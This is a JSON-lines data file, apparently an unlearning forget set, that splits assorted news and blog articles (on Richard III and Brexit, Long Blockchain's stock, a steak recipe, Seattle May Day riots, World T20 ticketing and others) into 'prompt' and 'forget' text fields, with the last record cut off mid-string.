{"prompt": "The actor, currently playing Shakespeare\u2019s villainous king, says Brexit has brought the play a pertinence that is not lost on audiences It is a story of vaulting ambition and ruthless scheming which takes a nation very quickly from stability to chaos. Sound familiar? Richard III review \u2013 Ralph Fiennes gets to grips with Shakespeare's ruthless ruler Read more The parallels between Shakespeare\u2019s Richard III and British politics this summer are striking and it is not being lost on audiences, the actor Ralph Fiennes said on Tuesday. Fiennes is playing the villainous king at the Almeida theatre in north London, a", "forget": "production that will be filmed and broadcast to cinemas around the world on Thursday. \u201cMost Shakespeare plays that deal with power, whether they are the history plays or the Roman plays, you can always broadly speaking find a parallel somewhere in the world to what\u2019s going on,\u201d Fiennes said. \u201cIt\u2019s quite rare that you actually are close to a political crisis, political uncertainty. We went into this not knowing what the referendum result was going to be, so when it was as divisive as it was and we saw all these political figures making a play for leadership, Boris Johnson, Michael Gove ... the audience suddenly, it changed. \u201cNot through our doing but just because of events happening around us. Suddenly it became full of a pertinence that perhaps it hadn\u2019t had before.\u201d Many people are seeing parallels between the character of Richard III, his brilliant scheming and then apparent reluctance to take the throne, and Tory politicians. \u201cMichael Gove is closest,\u201d said Fiennes. \u201cBecause all those protestations about \u2018I could never lead, it\u2019s not in my DNA to lead\u2019 \u2013 that\u2019s classic Richard.\u201d Milibands as princes in the tower The play is directed by the Almeida\u2019s artistic director, Rupert Goold, who said he originally \u2013 in 2012 \u2013 planned to do a Richard III that riffed on the character of Johnson. \u201cI thought Boris is this figure who is physically strange and yet sexually predatory and potent, inherently comic, outside the rules, of questionable motives, ultimately ambitious. It was going to be very crude ... Milibands as princes in the tower.\u201d Those ideas were abandoned, particularly when Fiennes became part of the project. But Goold added: \u201cWhat\u2019s potent about the play is that people are able to read all those parallels without us banging them over the head.\u201d While"}
{"prompt": "Earlier this year, Apple made several changes to the App Store to address complaints that apps with nothing other than a prurient purpose had infiltrated the App Store. Part of the problem was that kids could still access screenshots for \"racy\" apps. Apple also began removing a number of these apps after it received complaints from the Parents Television Council. Though the group thinks Apple has some room for improvement, it will be focusing its future efforts on other platforms that are growing in popularity, such as Android, which currently lack Parental Controls. Parents Television Council is notorious for complaining", "forget": "to the FCC about the sexual or violent nature of TV shows, griping about foul-mouthed YouTube comments, and campaigning against kids being able to buy M-rated video games. The group targeted the App Store earlier this year because Apple's devices\u2014particularly the iPod touch\u2014are so popular with kids and teens. The watchdog group had concerns that some apps could be accessible to children, that App Store pages had Web links that led to yet more objectionable content, and that in the case where Parental Controls were activated, kids could still browse and preview these apps. Apple ultimately responded by cleaning out a number of these contentious apps and started blocking screenshots in iTunes in addition to the blocks already present in the on-device App Store app. \"Whenever we receive customer complaints about objectionable content we review them,\" Apple spokesperson Trudy Muller told Ars at the time. \"If we find these apps contain inappropriate material we remove them and request the developer make any necessary changes in order to be distributed by Apple.\" PTC applauded Apple's actions. \"Apple has taken a positive first step towards eliminating kids' access to sexually explicit and pornographic content on its product lineup and we applaud the company\u2019s efforts,\" the group's president, Tim Winter, said in a statement. PTC does think there's more that Apple could do. In particular, the group is concerned that there is no filtering options for Mobile Safari as there are for desktop browsers. This is even more important on a mobile device, PTC's national grassroots director Gavin McKiernan told Ars, because parents can't sit with the child and monitor their browsing as they could on a desktop PC. \"We're not up in arms against Apple, though,\" McKiernan said. \"We think there's room for improvement, but we are definitely pleased with their response"}
{"prompt": "Is tomorrow\u2019s tech giant today\u2019s microcap beverage company? Investors apparently think so, as shares of an extremely small beverage company soared on the news that it would be changing its focus to blockchain, the decentralized ledger technology that is best known as the underpinning to cryptocurrencies like bitcoin. Long Island Iced Tea Corp. US:LTEA on Thursday said it was rebranding to become Long Blockchain Corp., and that it was \u201cshifting its primary corporate focus towards the exploration of and investment in opportunities that leverage the benefits of blockchain technology.\u201d The stock nearly quadruped at its peak of the session. After", "forget": "closing at $2.44 on Wednesday, it jumped as high as $9.49, its highest level since June 2016. It closed at $6.91, up 183% on the day. Nearly 15 million shares exchanged hands, significantly higher than its 30-day average, which is below 275,000. Before the day\u2019s move, the stock had been down more than 40% in 2017, and as of Thursday\u2019s close, it had a market capitalization of about $24 million. The below chart shows the company\u2019s stock performance over the past two years. Courtesy FactSet The company did not immediately return a request for a comment. In a press release, it wrote it is \u201cdedicated to becoming a significant participant in the evolution of blockchain technology that creates long term value for its shareholders and the global community by investing in and developing businesses that are \u2018on-chain\u2019.\u201d It added that \u201cblockchain technology is fundamentally changing the way people and businesses transact, and the company will strive to be at the forefront of this dynamic industry, actively pursuing opportunities.\u201d The press release also linked to a corporate website, where the company wrote it was \u201calready in the preliminary stages of evaluating specific opportunities involving blockchain technology,\u201d including potential partnership, investments, or acquisitions. One of these \u201copportunities\u201d involves \u201ca London-based FCA regulated, institutional provider of FX services that is building multiple blockchain and digital crypto currency technology solutions for global financial markets.\u201d The company added that it \u201cdoes not have an agreement with any of these entities for a transaction and there is no assurance that a definitive agreement with these, or any other entity, will be entered into or ultimately consummated.\u201d Long Island Iced Tea\u2019s most recent investor presentation, released on Oct. 5, made no mention of blockchain or any upcoming change in focus. A five-point section on \u201ccompany direction\u201d referenced"}
{"prompt": "\"California is once again the sixth-largest economy in the world. If you add the GDP\u2019s of Washington and Oregon, California would surpass the United Kingdom to become the fifth-largest economy in the world.\" Antonio Villaraigosa, the former mayor of Los Angeles and 2018 Democratic candidate for California governor, recently called for the state to unite with like-minded cities and states on the West Coast to oppose \"dangerous policies advanced by a Trump administration.\" California\u2019s large economy, Villaraigosa said in a Dec. 8, 2016 op-ed in the Sacramento Bee, gives it leverage in any possible showdown. In making this call, Villaraigosa", "forget": "repeated a favorite claim by California politicians that the state\u2019s economy ranks as the sixth largest in the world -- a claim PolitiFact California rated Mostly True in July. He then took the economic comparison further -- all the way to the Pacific Northwest. \"California is once again the sixth-largest economy in the world,\" Villaraigosa said. \"If you add the GDP\u2019s of Washington and Oregon, California would surpass the United Kingdom to become the fifth-largest economy in the world.\" \"That\u2019s power \u2013 power we must use to protect our people against any dangerous policies advanced by a Trump administration,\" he added. We decided to fact-check the part of Villaraigosa\u2019s claim that if the GDPs of California, Washington and Oregon were somehow combined, they\u2019d represent the fifth largest economy on the planet, ahead of the United Kingdom. Gross domestic product, or GDP, is used to measure the health of a country\u2019s or state\u2019s economy. It\u2019s the total value of all goods and services. Our research A campaign spokeswoman for Villaraigosa pointed us to 2015 GDP figures from the International Monetary Fund. We used the same data in July to verify that California, with a GDP of nearly $2.5 trillion, had the sixth-largest economy behind the United States, China, Japan, Germany and the United Kingdom. California Gov. Jerry Brown\u2019s administration released GDP figures in June showing the state had jumped two spots in these unique world rankings ahead of France and Brazil and into sixth place behind the United Kingdom. In our July fact check, we noted that when adjusted for California\u2019s very high cost of living, the state\u2019s GDP drops several places. This led us to our Mostly True rating for the claim, which we define as \"accurate but needs clarification or additional information.\" To come up with a combined GDP"}
{"prompt": "I\u2019m posting it here because I\u2019ve mentioned it on Google+ for the third time, today. It all started with Zak posting about Evolution. He lists some well known role-playing games and shows that each one of them offers some sort of long-term promise of change for players. His point: every session produces \u201cchanges in that session\u201d, but the really successful games promise \u201ca specific kind of change will occur over the long haul.\u201d I definitely think that the promise of ever changing game play is what makes D&D interesting. The reason this works, I think, is because the spells you", "forget": "gain don\u2019t simply scale. The game changes if you can be invisible and fly. The game changes when you can dimension door and teleport. The game changes when you can travel to the planes. Outside of the specific rules, the tradition also encourages changes to the game when you reach name level and build a stronghold, and it changes once more when you start to forge alliances with and wage wars against neighbors. I think it\u2019s also one of the reasons that Traveller can be boring. At least it didn\u2019t hold a long-term appeal to me when I ran it. Perhaps I should have imagined the long term changes to the game play (more and bigger ships, get involved in the war) instead of focusing on changes to the setting (in my campaign, small colonies were being resettled or exterminated by the players \u2013 at the time I felt this was already a big step up). I feel like I should give Traveller another try soon. I think Zak\u2019s spot-on when he wonders whether campaigns using relatively simple rules have a hard time maintaining a long term appeal. For example, I claim that the long list of non-general spells with their non-linear progression of power create the long term changes over time. But what will you do in a simpler indie game? What will I do with my Solar System RPG game? Over time, I can add more gifts (feats, stunts, powers), but there\u2019s really no promise that I will keep delivering. Plus, if I do, I\u2019ll have to invent it all myself. This is the key part: I have to come up with it myself \u2013 and I need to foreshadow it, make sure my players know it, want it, work towards it. In D&D, it\u2019s simple. There\u2019s a"}
{"prompt": "When asked about the FBI investigation into her email scandal broadening to include corruption allegations, Hillary Clinton\u2019s response was to declare the report was \u201cabsolutely not true,\u201d an \u201cunsourced, irresponsible claim that has no basis.\u201d Rarely has someone whistled past a graveyard at such a high tone, so badly off-key. As many observers hastened to point out, there\u2019s no legal way Hillary Clinton would know if the Fox News story about the widening FBI probe was true or not. The story was based on anonymous sources within the intelligence community, bolstered with accounts of FBI agents growing increasingly angry at", "forget": "the prospect their meticulous investigation will be discarded by the politicized Justice Department to protect Clinton. The FBI doesn\u2019t have to formally notify Clinton that its probe is expanding; indeed, given the case and the subject, they would be wise to hold off on letting her know for as long as possible. The Clinton machine is very, very good at getting to people who might damage the Big He and Big She. Even as Clinton was dismissing the Fox News report out of hand, former U.S. attorney Joseph DiGenova was confirming the key revelations, saying he has been told 150 FBI agents are working the Clinton corruption case, and the investigation has been in progress for months. Everything described in the Fox News piece is entirely plausible, and consistent with the events of the past year. The intelligence community does think former CIA director General David Petraeus got off light, and what Clinton did is orders of magnitude worse than his offenses \u2013 she\u2019s up to 1,340 classified emails on the server she swore contained zero, and her effort to challenge the severe Top Secret classification for two of them failed spectacularly. Contrary to Clinton\u2019s blithe assurances, her private server was unprecedented, and very much against both federal and State Department procedures. Questions have been swirling around her finances and the activities of the \u201cClinton Foundation\u201d for a long time, and it\u2019s long been thought one of her primary motivations for setting up a private server was to conceal correspondence that could shed unwelcome light on the intersection between her State Department job and her political and financial portfolio. To put the best possible spin on it for Clinton, even if they don\u2019t find anything damning, one can hardly blame the FBI for wondering if there\u2019s a fire behind all"}
{"prompt": "Buy Photo Left to right: In start 5 Cruising B Division 3 Shore Course Cruising, Knot Yours too owned by Glen Drabant of Port Huron Yacht Club, Pirate owned by Jeff Henderson of Bayview Yacht Club in Detroit and Irish Mist owned David Spiers of EBC and Deadman's Flat Yacht Club head out into the open waters of Lake Huron on their way to Mackinac Island during the 2014 Bell's Beer Bayview Mackinac Race on Saturday, July 12, 2014. (Photo: Eric Seals, Detroit Free Press)Buy Photo From a tin shanty to the Great Lakes \"Shrine to Nautical Culture,\" a lot", "forget": "of water has passed by Bayview Yacht Club on its way down the Detroit River the past 100 years. Though not the oldest yacht club in the Detroit area \u2014 the Detroit Yacht Club was founded in 1868, for example \u2014 Bayview is considered the granddaddy of pure sailing clubs in Michigan. Standing across from the eastern tip of Belle Isle, its dock entrance off 100 Clairpointe in Detroit, Bayview is celebrating a century of recreational and competitive sailing \u2014 and countless drinks at the clubhouse bar overlooking the Detroit River and Canada \u2014 this year. Bayview Yacht Club also will be hosting the 91st Bell's Beer Bayview Mackinac Race, as it has done since 1925, when only 12 boats competed in the inaugural freshwater, long-distance sailboat event from Port Huron to Mackinac Island. On Saturday, more than 100 crafts from Bayview's fleet, including \"Stripes,\" the Great Lakes 70 yacht owned and sailed by former University of Michigan athletic director Bill Martin, will be among the fleet of more than 250 boats scheduled to leave Port Huron for the straits of Mackinac. Bayview Commodore Hanson Bratton will sail aboard the 60-foot \"Eagle I,\" although he was to compete on his own yacht \"Taz,\" in the double-handed crew class, until his sailing partner suffered an injured knee. \"The Port Huron-Mackinac race is so very important to the club,\" said Bratton, 51, a self-employed engineer from Grosse Pointe Woods whose father was a Detroit cop. \"But it's only part of what we do. We also compete in open-lake racing and one-design regattas and have a junior sailing program, too. We've come a long way since four gentlemen formed the Bayview Yacht Club in 1915.\" They were sailors E. Lloyd Kurtzwarth, P.C. Williamson, Floyd Nixon and Paul Diedrich, who chipped in $14 a"}
{"prompt": "window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-5', placement: 'Interstitial Gallery Thumbnails 5', target_type: 'mix' }); window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-10', placement: 'Interstitial Gallery Thumbnails 10', target_type: 'mix' }); window._taboola = window._taboola || []; _taboola.push({ mode: 'thumbnails-c', container: 'taboola-interstitial-gallery-thumbnails-12', placement: 'Interstitial Gallery Thumbnails 12', target_type: 'mix' }); Photo: Chris O\\'Meara / AP Image 1 of / 13 Caption Close Image 2 of 13 9. G Joe Looney One of the last members from the supposedly failed 2011 draft, Looney is the surprise replacement to take Alex Boone\u2019s spot in case of a extended", "forget": "holdout. He graded out well last year after playing extensively against the St. Louis Rams. less 9. G Joe Looney One of the last members from the supposedly failed 2011 draft, Looney is the surprise replacement to take Alex Boone\u2019s spot in case of a extended holdout. He graded out well ... more Photo: Lance Iversen / The Chronicle Image 3 of 13 8. DE-FB Will Tukuafu Two summers ago, Tukuafu exhibited a devastating flair as a blocker at fullback. If Tukuafu can take the next step, the team\u2019s short-yardage issue could be over. less 8. DE-FB Will Tukuafu Two summers ago, Tukuafu exhibited a devastating flair as a blocker at fullback. If Tukuafu can take the next step, the team\u2019s short-yardage issue could be ... more Photo: Michael Macor / The Chronicle Image 4 of 13 7. QB Kory Faulkner The small-school quarterback has learned to stand in the pocket take a hit while delivering the ball, a trait not every quarterback possesses. He has size and can run. But he\u2019s also the fourth quarterback out of four on most depth charts. less 7. QB Kory Faulkner The small-school quarterback has learned to stand in the pocket take a hit while delivering the ball, a trait not every quarterback possesses. He has size and can run. But ... more Photo: Marcio Jose Sanchez / Associated Press Image 5 of 13 Image 6 of 13 5. DE Kaleb Ramsey The 49ers\u2019 final draft pick this spring is immensely strong; he refused to give up despite numerous injuries in college. That combination could win him a roster spot on a stacked defensive line. less 5. DE Kaleb Ramsey The 49ers\u2019 final draft pick this spring is immensely strong; he refused to give up despite numerous injuries in college. That combination could"}
{"prompt": "Lawyer and human rights activist Stanislav Markelov murdered in Moscow By Vladimir Volkov 23 January 2009 On January 19, Stanislav Markelov was shot in the head and killed in central Moscow by a masked man using a silencer. The assassination took place in broad daylight not far from the Kremlin. The 34-year-old lawyer and human rights activist was president of the Institute for the Supremacy of Law. Anastasia Baburova, a 25-year-old student in the journalism department at Moscow State University and correspondent for the liberal opposition newspaper Novaya Gazeta (New Gazette), tried to shield Markelov from the killer but was", "forget": "also shot in the head. Later that evening, she died in the hospital. The specific reason for the murder of Markelov and who ordered it have not yet been established. But it is clear that this savage and cold-blooded killing is bound up with efforts to eliminate those who, regardless of their views and political connections, have sought to shed light on the many murky aspects of the actions of the Russian authorities in the Caucasus and in Russia itself. Both victims of this assassination were open opponents of the Russian nationalists. The attack on Markelov occurred after a press conference in which he spoke about the case of Colonel Yuri Budanov. Markelov had filed a complaint with the Supreme Court of the Russian Federation over Budanov's early release from prison. Budanov was released from prison on January 15, having served eight-and-a-half years of a ten-year sentence. His parole caused outrage in Chechnya, where the Budanov case had become a symbol of the tyranny and violence inflicted by the Russian army in the province. In March 2000, a few months after the start of the Second Chechen War, Budanov kidnapped from her home and then killed the 18-year-old Chechen girl Elsa Kungayeva. After he killed her, he ordered his subordinates to bury her body. After an autopsy was performed on the girl's corpse, it was established that she had been raped and severely tortured. As in many similar instances, Budanov would certainly have gotten away with his crime if it had not been the object of wide publicity. Nevertheless, the Russian authorities did everything possible to prevent his conviction. At first, the court exonerated him, and only under public pressure both in Chechnya and Russia did Budanov finally end up in prison. Budanov is the kind of professional killer, sadist"}
{"prompt": "Houzz, the fast-growing home-remodeling site, today announced that it has raised a $165 million Series D round led by Sequoia Capital, one of its early backers. Existing investors Oren Zeev, New Enterprise Associates, GGV Capital and Kleiner Perkins Caufield & Byers also participated in this massive round, as well as new investors DST Global and T. Rowe Price. As Houzz co-founder and CEO Adi Tatarko told me earlier this week, the plan is to use this new injection of funding to accelerate the company\u2019s global expansion plans. Houzz, which launched in 2009, already has already opened offices in Berlin, London", "forget": "and \u2014 most recently \u2014 Sydney. \u201cHouzz is really meant to be a global platform,\u201d Tatarko told me. More than a third of the company\u2019s now 25 million monthly unique users already come from outside the U.S., she told me. As part of today\u2019s news, the company also announced the beta launch of its newest revenue channel, the Houzz Marketplace, which will allow users to directly buy some of the products they see when they browse the site. The service currently features over one million products from a large variety of sellers. As Tatarko told me, many businesses actually came to the company to participate in this \u2014 and some of them didn\u2019t even have an online presence before this. \u201cBut most importantly, we did this because our users really wanted this,\u201d she noted. \u201cThey wanted to be able to complete everything on Houzz.\u201d This is a marketplace, so while Houzz handles the payment in the background, fulfillment and customer service are handled by the sellers. In addition, the company is also using this moment to announce its redesign, which already started rolling out to some users over the last few days. The idea here is to simplify the experience and create a better flow between the three parts of the site: inspiration, finding pros and the marketplace. The redesign also features improved search with better filters, as well as new ways for its users \u2014 and especially professionals \u2014 to personalize their profiles. As for the funding round, Tatarko noted that she sees it as a huge vote of confidence in the company. \u201cThey saw that Houzz became the ultimate leader in its industry in the U.S. and wanted to support our initiative to bring it to the rest of the world, too,\u201d she said. Sequoia partner and Houzz"}
{"prompt": "The Raw Report: WWE Monday Night Raw 5-14-12 May 15, 2012 Welcome to The Raw Report. Every week I\u2019ll be dissecting WWE\u2019s Monday Night Raw and analyzing what worked, what didn\u2019t work, and what left audiences thinking wtf by breaking the show down into three categories: YES!, CHANGE THE CHANNEL! or WHAT? Let\u2019s get it on. YES! Triple H and Paul Heyman opening segment \u2013 Brilliant opener. This is how you raise the energy right from the opening of Raw. Heyman\u2019s whiney, \u201cwhat are ya\u2019 doin?!\u201d as Triple H grabbed him by the throat was superb acting. While I would", "forget": "have certainly loved to see more back and forth between the two, I found both men to be in top form during this segment. Triple H cut a wonderful promo about Lesnar, criticizing Brock for leaving the business and offending legends such as Ric Flair and Shawn Michaels by his recent behavior. Instead of burying Lesnar, like many assumed Triple H was doing, I felt that the COO had a clear argument running throughout the promo: Lesnar is a bully who quits the second he faces strong opposition. Maybe Triple H is that one obstacle that Brock won\u2019t be able to simply quit and avoid? Heyman, in turn, informed Triple H that Lesnar is suing the WWE, which added a bit of suspense to Brock\u2019s relationship with the company. The WWE seems to be planting the seeds for a much longer program between not only Triple H and Lesnar, but Brock and the entire WWE infrastructure. I\u2019m excited to see where they go next. CM Punk/Santino vs. Daniel Bryan/Cody Rhodes \u2013 Oddly enough, I found Bryan and Cody worked really well together. I\u2019m not sure what purpose Santino served in this match, other than the WWE not being able to find a better babyface to team with Punk. Why not bring Alex Riley back up? Or maybe even Zack Ryder? Punk\u2019s angry facials to Bryan throughout the match were superb. Seeing Bryan simply laugh in Punk\u2019s face from across the ring only further built his heat to fans at home. I loved that fact that Bryan ended the match by staring Punk down as he walked up the ramp, smirking the entire way. It\u2019s interesting how Bryan doesn\u2019t take Punk seriously, yet desperately wants to win the WWE Championship. While many fans complain that there\u2019s no build to Bryan/Punk, I"}
{"prompt": "Good grief. Help me. Help me now. This was delicious. Good steaks do not need sauce. But they\u2019re every bit as delicious with a good sauce as they are on their own. And as much steak as we eat in our household, I like to change things up. This sauce is actually almost a \u201cside dish\u201d\u2014substantial and delicious. You\u2019ll absolutely love it. Grab a large onion. Very large. Cut it in half from root to tip\u2026 Then peel off the outer layer and make relatively thick slices. Not huge, but definitely not thin. Melt 1/2 stick (4 tablespoons) butter in", "forget": "a heavy skillet over high heat. When it\u2019s all melted\u2026 Throw in the sliced onions. Stir them around, then let them sit and cook over high heat. Stir them only occasionally; we want them to get nice and brownish/black. Meanwhile, grab a ribeye steak\u2014whatever thickness you like. Heat up the grill outside, or be lazy like me and heat up a grill pan. Add lots of butter so it\u2019ll get brown. Since the sauce is so flavorful, all we need to do with the meat is season it with salt and pepper. Throw it diagonally on the grill pan, and season the other side. Watch the steak and turn it as it cooks to get the nice grill marks. While the steak cooks, go ahead and make the (very easy) sauce. Turn the skillet with the onions down to low heat\u2026 Then pour in 3/4 to 1 cup heavy cream. Ask for forgiveness while you\u2019re at it. You\u2019re gonna need it. This is a crime. Heat it all up\u2026 And stir it gently as it cooks. Slowly the white cream will take on the color of the caramelized onions and your soul will sing. You want to cook it for 3 to 5 minutes, or until the sauce thickens and reduces by about half. If it gets too thick (it shouldn\u2019t), you can splash in a little beef broth. Ahhh. Perfect. But I\u2019m about to go one better. Dump in 1/2 cup crumbled blue cheese. Please do this, even if you think you don\u2019t like blue cheese. Please? Blue cheese? Please? Now stir it around while the cheese melts and makes the sauce even more creamy than it was before. Oh my gosh. Oh my\u2026my\u2026gosh. To serve, make a nice, generous bed of sauce on a large plate. This dish"}
{"prompt": "Baby Boomers Approach 65 \u2013 Glumly The iconic image of the Baby Boom generation is a 1960s-era snapshot of an exuberant, long-haired, rebellious young adult. That portrait wasn\u2019t entirely accurate even then, but it\u2019s hopelessly out of date now. This famously huge cohort of Americans finds itself in a funk as it approaches old age. On January 1, 2011, the oldest Baby Boomers will turn 65. Every day for the next 19 years, about 10,000 more will cross that threshold. By 2030, when all Baby Boomers will have turned 65, fully 18% of the nation\u2019s population will be at least", "forget": "that age, according to Pew Research Center population projections. Today, just 13% of Americans are ages 65 and older. Perched on the front stoop of old age, Baby Boomers are more downbeat than other age groups about the trajectory of their own lives and about the direction of the nation as a whole. Some of this pessimism is related to life cycle \u2013 for most people, middle age is the most demanding and stressful time of life. Some of the gloominess, however, appears to be particular to Boomers, who bounded onto the national stage in the 1960s with high hopes for remaking society, but who\u2019ve spent most of their adulthood trailing other age cohorts in overall life satisfaction. At the moment, the Baby Boomers are pretty glum. Fully 80% say they are dissatisfied with the way things are going in the country today, compared with 60% of those ages 18 to 29 (Millennials); 69% of those ages 30 to 45 (Generation Xers) and 76% of those 65 and older (the Silent and Greatest Generations), according to a Pew Research Center survey taken earlier this month. Boomers are also more downbeat than other adults about the long-term trajectory of their lives \u2013 and their children\u2019s. Some 21% say their own standard of living is lower than their parents\u2019 was at the age they are now; among all non-Boomer adults, just 14% feel this way, according to a May 2010 Pew Research survey. The same survey found that 34% of Boomers believe their own children will not enjoy as good a standard of living as they themselves have now; by contrast, just 21% of non-Boomers say the same. The 79 million member Baby Boomer generation accounts for 26% of the total U.S. population. By force of numbers alone, they almost certainly will"}
{"prompt": "LISTEN: Your browser does not support the audio element. As in the past, Seattle police anticipated the actions of self-proclaimed anarchists on May Day. But the Seattle Police Department\u2019s incident commander for the protests said this year was notably different. \u201cI was surprised at the numbers of people at Seattle Central (Community College) that wanted to get into a confrontation,\u201d Captain Chris Fowler told KIRO Radio\u2019s Jason Rantz. \u201cI have not seen that many black bloc anarchists \u2014 people dressed up in that vein \u2014 that wanted to cause problems that early.\u201d Related: Mayor, chief praise police response to violent", "forget": "May Day protest in Seattle \u201cI would say that it was a substantial difference between the small groups of people that wanted to commit violence from years past, or the small groups that we\u2019ve seen glom onto peaceful protest,\u201d Fowler said. \u201cThis was a group of people in a large group \u2014 75, 100, 200 mixed into a crowd of much larger size \u2014 that facilitated that violence and destruction.\u201d What is to blame for the uptick, Rantz asked. \u201cI don\u2019t know if it\u2019s just levels of frustration or there was a need to make some sort of statement,\u201d Fowler said. \u201cClearly, they were out to commit violence and crime. So it\u2019s hard for me to relate to people that want to do that. It\u2019s hard to say.\u201d Officers confiscated a hammer, wrenches, batteries, and a machete with \u201cdeath\u201d written on it. A total of 17 arrests were made Friday night. Three officers went to the hospital for injuries. Rioters smashed over 20 cars, including a KIRO Radio truck. Photos from May Day protests As in years past, the Seattle Police Department is expected to release photos and ask people to help identify rioters for further arrest. Fowler said the department still has a lot of video and photos to look through, and that the investigation is underway. He noted that just because they arrest someone, it doesn\u2019t mean that they will eventually be charged. That is up to prosecutors, he said. In the meantime, police are making arrests for a range of crimes from felony assault to obstructing. After the protest-turned-riot, Fowler said that he knew those crimes were likely coming as he watched the anarchist crowd gather. \u201cWhen they left Seattle Central Community College and moved down Broadway, it was relatively peaceful, but we knew before they left"}
{"prompt": "Repealing the Affordable Care Act\u2019s (ACA\u2019s) individual mandate in the tax bill is being characterized by some Senators as a catalyst for Congress to replace the health law next year. It may be just the opposite, equivalent to crossing a bridge and burning it behind you. The individual mandate, or shared responsibility provision, gives people a choice: buy affordable coverage if you can afford it or pay a tax. It encourages people to maintain continuous coverage rather than purchase it when they get sick. ADVERTISEMENT It has contributed to an individual market that, prior to being undermined by the Trump", "forget": "administration, was growing in size and stability . It contributed to the lowest uninsured rate in American history. Knocking out this incentive for coverage would make it more (and for some too) expensive to buy individual market coverage. The Congressional Budget Office (CBO) estimated that average premiums would increase by 10 percent, which translates into nearly $2,000 per year for a family of four. The amount would be greater for older Americans and those that live in rural areas. This premium increase, coupled with less emphasis placed on getting coverage, would result in an estimated 13 million more uninsured Americans. If the mandate repeal is signed into law with the tax bill, there is no turning back for three reasons. First, to date, no expert has identified a policy as effective as the individual mandate. For example, CBO estimated that the American Health Care Act\u2019s proposal to maintain continuous coverage would end up causing more people to lose than to gain coverage. And proposals that incentivize private insurance won\u2019t help the 5 million Americans who will no longer get Medicaid coverage under the tax bill. Second, even if such a policy existed, no funding would be easily found to pay for the coverage for lost under the GOP bill. Congress has yet to agree on funding for the bipartisan Children\u2019s Health Insurance Program. The $318 billion needed to cover those uninsured because of the tax bill is 40 times higher than the $8 billion Congress has failed to find for low-income children\u2019s coverage. Third, no trust would be left to make the system work as it did before. Democrats would be unlikely to give up parts of the ACA to make the Republican-induced problems less bad. Republicans themselves can\u2019t agree on how to lower private insurance premiums. Ideas like reinsurance"}
{"prompt": "The uncertainty over Delhi's status as a host left the travel plans of fans in limbo \u00a9 BCCI Fans travelling from abroad for the World T20 in India have expressed anger and disappointment over the delay in announcing the tournament's schedule and the ambiguity surrounding the ticketing process. While the fixtures were announced on December 11 - about three months before the event - the first phase of ticket sales, for matches in Bangalore, Chennai, Dharamsala, Kolkata and Mohali, began only on February 24. The second phase of ticket sales, for matches in Mumbai, Delhi and Nagpur, had begun at", "forget": "12 pm IST on February 26, less than two weeks before the tournament. Tickets for seven \"high-priority\" games - four India matches, the semi-finals and final - have been put up online through a lottery system, though the results of that process won't be known for a while yet. There were sharp reactions from overseas fans on social media; for many, the uncertainty over the fixtures was the starting point of a series of problems. \"The fixtures were announced on December 11 but there was no lead in,\" Paul Smith, 58, from Weymouth in England, wrote in an email to ESPNcricinfo. \"We didn't know when the fixtures would be announced so right back in September we were checking daily. [For] six months we have had to check if there have been updates or changes, our plans all in limbo.\" For fans like Smith, the lack of clarity in the ticketing process has hampered plans for the semi-finals and finals. \"Now we know that tickets are going to be in high demand for the big seven [games], but because we didn't know what the system was going to be some have booked [flight tickets] to go to semi[finals] and final. \"Obviously we have to get some kind of assurances that we can get to see the games after spending two-three thousand pounds on flights and hotels. But no one can understand why Delhi was chosen when issues [in DDCA] go back months, even years. To put such a large travelling country such as England there [England play two games], and even worse a semi-final was hard to comprehend.\" It wasn't until February 9 that the decks were cleared for Delhi to host matches in the World T20; the BCCI had earlier given DDCA a deadline of January 31 to get its"}
{"prompt": "DW: Mr P\u00f6ttering, you'll be leaving the European Parliament soon - after 35 consecutive years. Is Europe in a condition where you'd say \"Yes, I'm happy with what I'm leaving behind?\" Hans-Gert P\u00f6ttering: Politically speaking, I'd have to say, there's no finish line for Europe, but we have certainly achieved a lot. In 1979, when the European Parliament was elected the first time, Europe was divided, Germany was divided. Today, Germany is a united country. Back then, Estonia, Latvia, and Lithuania formed part of the Soviet Union and today they're parts of the EU's community of values. Poland, the Czech", "forget": "Republic, Slovakia, Hungary, Slovenia, Bulgaria, Romania, and Croatia have gone through similar developments. That's been a wonderful evolution which we didn't necessarily foresee or dare hope for back in 1979. And it shows that the EU is more than a randomly selected geographical and political union. It's a community of values based on human dignity, human rights, freedom, peace and democracy. The European Parliament had no legislative powers whatsoever back in 1979. Today it's strong and influential. That's also a good development, but many challenges remain. Acceptance of the EU by our citizens is not on par with the EU's significance. We have to keep working on that. I'm leaving the European Parliament with a big feeling of gratitude, because it allowed me to experience all kinds of things, and above all, it allowed me to help shape and improve many things. Approval rates by European citizens for their institutions here in Brussels and in Strasbourg are at a historic low. Does that sadden you? It ought to distress us, and should serve as a clear call to keep striving for European integration. But approval rates for politics are not just low at the EU level, they're also low at national levels across EU countries. Voter turnout has been on the decline at all levels. It's a sign that we have to get even more in touch with our citizens. But citizens also have to know that the EU is a tremendous value for them. Never before have people lived with as much freedom, in such democratic systems, and above all, in as much peace as today. But the financial and economic challenges, together with the worrying level of youth unemployment in the south of Europe, have meant that people have a bad image of Europe. We have to change"}
{"prompt": "The Apple Watch is set sell millions in its first year on shelves. Already the new, quite possibly redundant, gadget has moved over 2 million in preorders alone, and analysts are betting on anywhere from 9 to 30 million sold in the first year. That's out of myriad different models ranging from just a few hundred dollars for the iPeasant version, to as much as $17,000 for the Apple Watch Edition, with the high-end settling on the customized, diamond-studded Lux Watch Omni which costs a measly $114,995. If you see someone wearing an Apple Watch that cost over $100,000...well, just", "forget": "know that somewhere there's a Swiss watch-maker rolling over in their grave. The first Apple Watches are shipping out this week, but the entire roll-out of the wearable is of the \"soft launch\" variety, rolling out to stores later in the summer. Customers will need appointments at Apple Stores to demo and purchase the watch, because suddenly Apple doesn't like lines outside its stores. This is one silver lining, no pun intended. The Apple device lines are among the most irritating phenomena of our age. Indeed, the entire Apple hype machine ranks among the most irritating phenomena of our age. While the company has done marvelous work in the realm of marketing and product design---and I don't begrudge them one ounce of success---the willingness of the masses to simply hop aboard that train irks me to no end. I am a reverse-snob in this regard, I admit it. In one sense, it's quite remarkable that Apple Watch sales are projected to be so high, while Android smart watches have made very little of a dent in the fledgling tech genre. There's little reason to believe the Apple Watch will be such a huge step up over the competition, and Pebble still seems like the smart way to go if you want actual functionality and not just hipster-tech social signaling. Then again, as Forbes contributor Paul Lamkin notes \"With the Pebble considered a smartwatch success story after around 1 million sales, and Android Wear causing only a 